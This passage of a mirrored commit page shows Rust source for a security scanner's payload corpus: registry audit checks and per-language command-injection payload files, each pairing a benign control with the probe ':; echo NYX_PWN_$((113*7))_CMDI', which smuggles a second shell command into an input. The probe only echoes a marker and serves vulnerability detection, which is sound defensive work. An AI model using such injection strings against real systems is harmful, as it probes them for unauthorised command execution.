mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-24 20:28:06 +02:00
Dynamic (#77)
This commit is contained in:
parent
55247b7fcd
commit
991c84a1eb
1464 changed files with 225448 additions and 1985 deletions
212
src/dynamic/corpus/audit.rs
Normal file
212
src/dynamic/corpus/audit.rs
Normal file
|
|
@ -0,0 +1,212 @@
|
|||
//! Compile-time + runtime audits over the corpus registry.
|
||||
//!
|
||||
//! Two invariants enforced here fail the build (via `const _: () = assert!(...)`)
|
||||
//! if they regress:
|
||||
//!
|
||||
//! 1. **`benign_control` resolves locally.** Every non-benign payload either
|
||||
//! references a benign control whose `label` appears inside the same
|
||||
//! `(cap, lang)` slice, *or* carries an explicit
|
||||
//! [`CuratedPayload::no_benign_control_rationale`] with a non-empty
|
||||
//! written rationale. Without this guard the differential rule
|
||||
//! (§4.1) silently downgrades to `Inconclusive(NoBenignControl)`
|
||||
//! whenever a maintainer forgets to wire a paired benign entry.
|
||||
//!
|
||||
//! 2. **Cap coverage is exhaustive.** The set of caps appearing in
|
||||
//! [`CORPUS`]'s [`entries`](super::CapCorpus::entries) OR [`CORPUS_UNSUPPORTED_LANG_NEUTRAL`] must
|
||||
//! equal [`Cap::all`]. Adding a new `Cap` bit without classifying it
|
||||
//! fails the build.
|
||||
//!
|
||||
//! The runtime `corpus_registry::audit` test mirrors both checks so
|
||||
//! failure surfaces in `cargo test` output, not just `cargo build`.
|
||||
|
||||
use super::CuratedPayload;
|
||||
use super::registry::{CORPUS, CORPUS_UNSUPPORTED_LANG_NEUTRAL};
|
||||
use crate::labels::Cap;
|
||||
|
||||
/// Byte-level equality for `&'static str` usable in const eval.
|
||||
#[allow(dead_code)] // Called from const-eval audit helpers on MSRV/CI compilers.
|
||||
const fn str_eq(a: &str, b: &str) -> bool {
|
||||
let ab = a.as_bytes();
|
||||
let bb = b.as_bytes();
|
||||
if ab.len() != bb.len() {
|
||||
return false;
|
||||
}
|
||||
let mut i = 0;
|
||||
while i < ab.len() {
|
||||
if ab[i] != bb[i] {
|
||||
return false;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// Walk every `(cap, lang)` slice; for each non-benign payload check that
|
||||
/// either its `benign_control.label` resolves inside the same slice or it
|
||||
/// carries a non-empty `no_benign_control_rationale`.
|
||||
#[allow(dead_code)] // Called from a const assertion; MSRV lints may miss const-eval uses.
|
||||
const fn audit_benign_controls() -> bool {
|
||||
let entries = CORPUS.entries;
|
||||
let mut e = 0;
|
||||
while e < entries.len() {
|
||||
let slice: &[CuratedPayload] = entries[e].2;
|
||||
let mut i = 0;
|
||||
while i < slice.len() {
|
||||
let p = &slice[i];
|
||||
if !p.is_benign {
|
||||
match p.benign_control {
|
||||
Some(r) => {
|
||||
let mut j = 0;
|
||||
let mut found = false;
|
||||
while j < slice.len() {
|
||||
if slice[j].is_benign && str_eq(slice[j].label, r.label) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
j += 1;
|
||||
}
|
||||
if !found {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
None => match p.no_benign_control_rationale {
|
||||
Some(rationale) => {
|
||||
if rationale.is_empty() {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
None => return false,
|
||||
},
|
||||
}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
e += 1;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// OR of cap bits appearing in `CORPUS.entries`.
|
||||
const fn registered_cap_bits() -> u32 {
|
||||
let entries = CORPUS.entries;
|
||||
let mut bits = 0u32;
|
||||
let mut i = 0;
|
||||
while i < entries.len() {
|
||||
bits |= entries[i].0.bits();
|
||||
i += 1;
|
||||
}
|
||||
bits
|
||||
}
|
||||
|
||||
/// Compile-time guards. Bumping or breaking these fails `cargo build`.
|
||||
const _: () = assert!(
|
||||
audit_benign_controls(),
|
||||
"corpus audit: a non-benign payload references a `benign_control` whose \
|
||||
label does not resolve inside its own (cap, lang) slice AND carries no \
|
||||
`no_benign_control_rationale` — see src/dynamic/corpus/audit.rs.",
|
||||
);
|
||||
|
||||
const _: () = assert!(
|
||||
registered_cap_bits() | CORPUS_UNSUPPORTED_LANG_NEUTRAL == Cap::all().bits(),
|
||||
"corpus audit: union of (cap, lang) entries and \
|
||||
`CORPUS_UNSUPPORTED_LANG_NEUTRAL` does not cover every `Cap` bit. \
|
||||
Add the missing cap to either a `(cap, lang)` slice or the \
|
||||
lang-neutral unsupported list.",
|
||||
);
|
||||
|
||||
/// Runtime mirror of the compile-time benign-control audit.
|
||||
pub fn audit_benign_controls_runtime() -> Result<(), String> {
|
||||
for &(cap, lang, slice) in CORPUS.entries {
|
||||
for p in slice {
|
||||
if p.is_benign {
|
||||
continue;
|
||||
}
|
||||
match p.benign_control {
|
||||
Some(r) => {
|
||||
let found = slice.iter().any(|q| q.is_benign && q.label == r.label);
|
||||
if !found {
|
||||
return Err(format!(
|
||||
"({:?}, {:?}) vuln payload {:?} references missing \
|
||||
benign_control label {:?}",
|
||||
cap, lang, p.label, r.label,
|
||||
));
|
||||
}
|
||||
}
|
||||
None => match p.no_benign_control_rationale {
|
||||
Some(rationale) if !rationale.is_empty() => {}
|
||||
_ => {
|
||||
return Err(format!(
|
||||
"({:?}, {:?}) vuln payload {:?} has neither a \
|
||||
benign_control nor a written \
|
||||
no_benign_control_rationale",
|
||||
cap, lang, p.label,
|
||||
));
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Runtime mirror of the compile-time cap-coverage audit.
|
||||
pub fn audit_cap_coverage_runtime() -> Result<(), String> {
|
||||
let covered = registered_cap_bits() | CORPUS_UNSUPPORTED_LANG_NEUTRAL;
|
||||
if covered != Cap::all().bits() {
|
||||
let missing = Cap::all().bits() & !covered;
|
||||
return Err(format!(
|
||||
"Cap bits {missing:#x} are neither registered in CORPUS.entries \
|
||||
nor listed in CORPUS_UNSUPPORTED_LANG_NEUTRAL",
|
||||
));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Track J.0 deferred audit: a non-benign payload's `benign_control.label`
|
||||
/// must be unique *within its own `(cap, lang)` slice* — and a benign
|
||||
/// payload's label may not collide with any other benign label inside the
|
||||
/// same cap across lang slices, otherwise the lang-agnostic union shim
|
||||
/// could resolve a vuln payload in language A against a benign payload
|
||||
/// declared in language B (the latent §4.1 bug captured in the deferred
|
||||
/// queue).
|
||||
pub fn audit_benign_label_uniqueness_runtime() -> Result<(), String> {
|
||||
use std::collections::HashMap;
|
||||
|
||||
let mut by_cap: HashMap<u32, HashMap<&'static str, crate::symbol::Lang>> = HashMap::new();
|
||||
for &(cap, lang, slice) in CORPUS.entries {
|
||||
let bucket = by_cap.entry(cap.bits()).or_default();
|
||||
for p in slice {
|
||||
if !p.is_benign {
|
||||
continue;
|
||||
}
|
||||
if let Some(prev_lang) = bucket.insert(p.label, lang)
|
||||
&& prev_lang != lang
|
||||
{
|
||||
return Err(format!(
|
||||
"benign label {:?} for cap {:#x} is registered in both \
|
||||
{:?} and {:?} — lang-agnostic resolve_benign_control \
|
||||
could match the wrong language",
|
||||
p.label,
|
||||
cap.bits(),
|
||||
prev_lang,
|
||||
lang,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod corpus_registry {
|
||||
use super::*;
|
||||
|
||||
/// Plan §02 acceptance: `cargo test corpus_registry::audit` must pass.
|
||||
/// The test name and module name jointly form the required path.
|
||||
#[test]
|
||||
fn audit() {
|
||||
audit_benign_controls_runtime().expect("benign_control audit failed");
|
||||
audit_cap_coverage_runtime().expect("cap coverage audit failed");
|
||||
audit_benign_label_uniqueness_runtime().expect("benign label uniqueness audit failed");
|
||||
}
|
||||
}
|
||||
46
src/dynamic/corpus/cmdi/c.rs
Normal file
46
src/dynamic/corpus/cmdi/c.rs
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
//! C `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-c",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_exec.c",
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_fgets.c",
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_popen.c",
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_system.c",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-c",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-c",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_exec.c",
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_fgets.c",
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_popen.c",
|
||||
"tests/benchmark/corpus/c/cmdi/cmdi_system.c",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
52
src/dynamic/corpus/cmdi/cpp.rs
Normal file
52
src/dynamic/corpus/cmdi/cpp.rs
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
//! C++ `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-cpp",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_class_inline_method.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_exec.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_getline.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_lambda_passthrough.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_popen.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_stl_vector_string.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_system.cpp",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-cpp",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-cpp",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_class_inline_method.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_exec.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_getline.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_lambda_passthrough.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_popen.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_stl_vector_string.cpp",
|
||||
"tests/benchmark/corpus/cpp/cmdi/cmdi_system.cpp",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
46
src/dynamic/corpus/cmdi/go.rs
Normal file
46
src/dynamic/corpus/cmdi/go.rs
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
//! Go `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-go",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/go/cmdi/cmdi_direct.go",
|
||||
"tests/benchmark/corpus/go/cmdi/cmdi_indirect.go",
|
||||
"tests/benchmark/corpus/go/cmdi/cmdi_unvalidated_queue_element.go",
|
||||
"tests/benchmark/corpus/go/cmdi/vuln_error_log_then_sink.go",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-go",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-go",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/go/cmdi/cmdi_direct.go",
|
||||
"tests/benchmark/corpus/go/cmdi/cmdi_indirect.go",
|
||||
"tests/benchmark/corpus/go/cmdi/cmdi_unvalidated_queue_element.go",
|
||||
"tests/benchmark/corpus/go/cmdi/vuln_error_log_then_sink.go",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
42
src/dynamic/corpus/cmdi/java.rs
Normal file
42
src/dynamic/corpus/cmdi/java.rs
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
//! Java `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-java",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/java/cmdi/CmdiDirect.java",
|
||||
"tests/benchmark/corpus/java/cmdi/CmdiIndirect.java",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-java",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-java",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/java/cmdi/CmdiDirect.java",
|
||||
"tests/benchmark/corpus/java/cmdi/CmdiIndirect.java",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
42
src/dynamic/corpus/cmdi/javascript.rs
Normal file
42
src/dynamic/corpus/cmdi/javascript.rs
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
//! JavaScript `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-javascript",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/javascript/cmdi/cmdi_direct.js",
|
||||
"tests/benchmark/corpus/javascript/cmdi/cmdi_indirect.js",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-javascript",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-javascript",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/javascript/cmdi/cmdi_direct.js",
|
||||
"tests/benchmark/corpus/javascript/cmdi/cmdi_indirect.js",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
12
src/dynamic/corpus/cmdi/mod.rs
Normal file
12
src/dynamic/corpus/cmdi/mod.rs
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
//! Command-injection (`Cap::CODE_EXEC`) per-language payload slices.
|
||||
|
||||
pub mod c;
|
||||
pub mod cpp;
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod javascript;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
pub mod typescript;
|
||||
42
src/dynamic/corpus/cmdi/php.rs
Normal file
42
src/dynamic/corpus/cmdi/php.rs
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
//! PHP `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-php",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/php/cmdi/cmdi_direct.php",
|
||||
"tests/benchmark/corpus/php/cmdi/cmdi_indirect.php",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-php",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-php",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/php/cmdi/cmdi_direct.php",
|
||||
"tests/benchmark/corpus/php/cmdi/cmdi_indirect.php",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
48
src/dynamic/corpus/cmdi/python.rs
Normal file
48
src/dynamic/corpus/cmdi/python.rs
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
//! Python `Cap::CODE_EXEC` payloads.
|
||||
//!
|
||||
//! Same shell-syntax bytes as [`super::rust::PAYLOADS`]; the per-language
|
||||
//! slice exists so the lookup is a per-language assertion rather than a
|
||||
//! cross-language fallback through [`super::super::registry::payloads_for`].
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-python",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/python/cmdi/cmdi_direct.py",
|
||||
"tests/benchmark/corpus/python/cmdi/cmdi_indirect.py",
|
||||
"tests/benchmark/corpus/python/cmdi/cmdi_popen_shell.py",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-python",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-python",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/python/cmdi/cmdi_direct.py",
|
||||
"tests/benchmark/corpus/python/cmdi/cmdi_indirect.py",
|
||||
"tests/benchmark/corpus/python/cmdi/cmdi_popen_shell.py",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
44
src/dynamic/corpus/cmdi/ruby.rs
Normal file
44
src/dynamic/corpus/cmdi/ruby.rs
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
//! Ruby `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-ruby",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/ruby/cmdi/cmdi_backtick.rb",
|
||||
"tests/benchmark/corpus/ruby/cmdi/cmdi_kernel_open.rb",
|
||||
"tests/benchmark/corpus/ruby/cmdi/cmdi_system.rb",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-ruby",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-ruby",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/ruby/cmdi/cmdi_backtick.rb",
|
||||
"tests/benchmark/corpus/ruby/cmdi/cmdi_kernel_open.rb",
|
||||
"tests/benchmark/corpus/ruby/cmdi/cmdi_system.rb",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
48
src/dynamic/corpus/cmdi/rust.rs
Normal file
48
src/dynamic/corpus/cmdi/rust.rs
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
//! Command-injection payloads exercised by Rust fixtures
|
||||
//! (`tests/benchmark/corpus/rust/cmdi/`).
|
||||
//!
|
||||
//! Bytes are shell-syntax, not Rust-specific; Track J phases 03–11 add
|
||||
//! per-language slices (Python `os.system`, PHP `exec`, …) as new fixtures
|
||||
//! land.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/rust/cmdi/cmdi_command.rs",
|
||||
"tests/benchmark/corpus/rust/cmdi/cmdi_args.rs",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Benign control: plain text that should never produce the cmdi marker.
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 4,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/rust/cmdi/cmdi_command.rs",
|
||||
"tests/benchmark/corpus/rust/cmdi/cmdi_args.rs",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
42
src/dynamic/corpus/cmdi/typescript.rs
Normal file
42
src/dynamic/corpus/cmdi/typescript.rs
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
//! TypeScript `Cap::CODE_EXEC` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b":; echo NYX_PWN_$((113*7))_CMDI",
|
||||
label: "cmdi-echo-marker-typescript",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/typescript/cmdi/cmdi_async_wrapper.ts",
|
||||
"tests/benchmark/corpus/typescript/cmdi/cmdi_exec_template.ts",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "cmdi-benign-typescript",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_cmdi_NYX_BENIGN",
|
||||
label: "cmdi-benign-typescript",
|
||||
oracle: Oracle::OutputContains("NYX_PWN_791_CMDI"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/typescript/cmdi/cmdi_async_wrapper.ts",
|
||||
"tests/benchmark/corpus/typescript/cmdi/cmdi_exec_template.ts",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
50
src/dynamic/corpus/crypto/go.rs
Normal file
50
src/dynamic/corpus/crypto/go.rs
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
//! Go `Cap::CRYPTO` payloads — `math/rand.Intn` weak-key
|
||||
//! generation.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
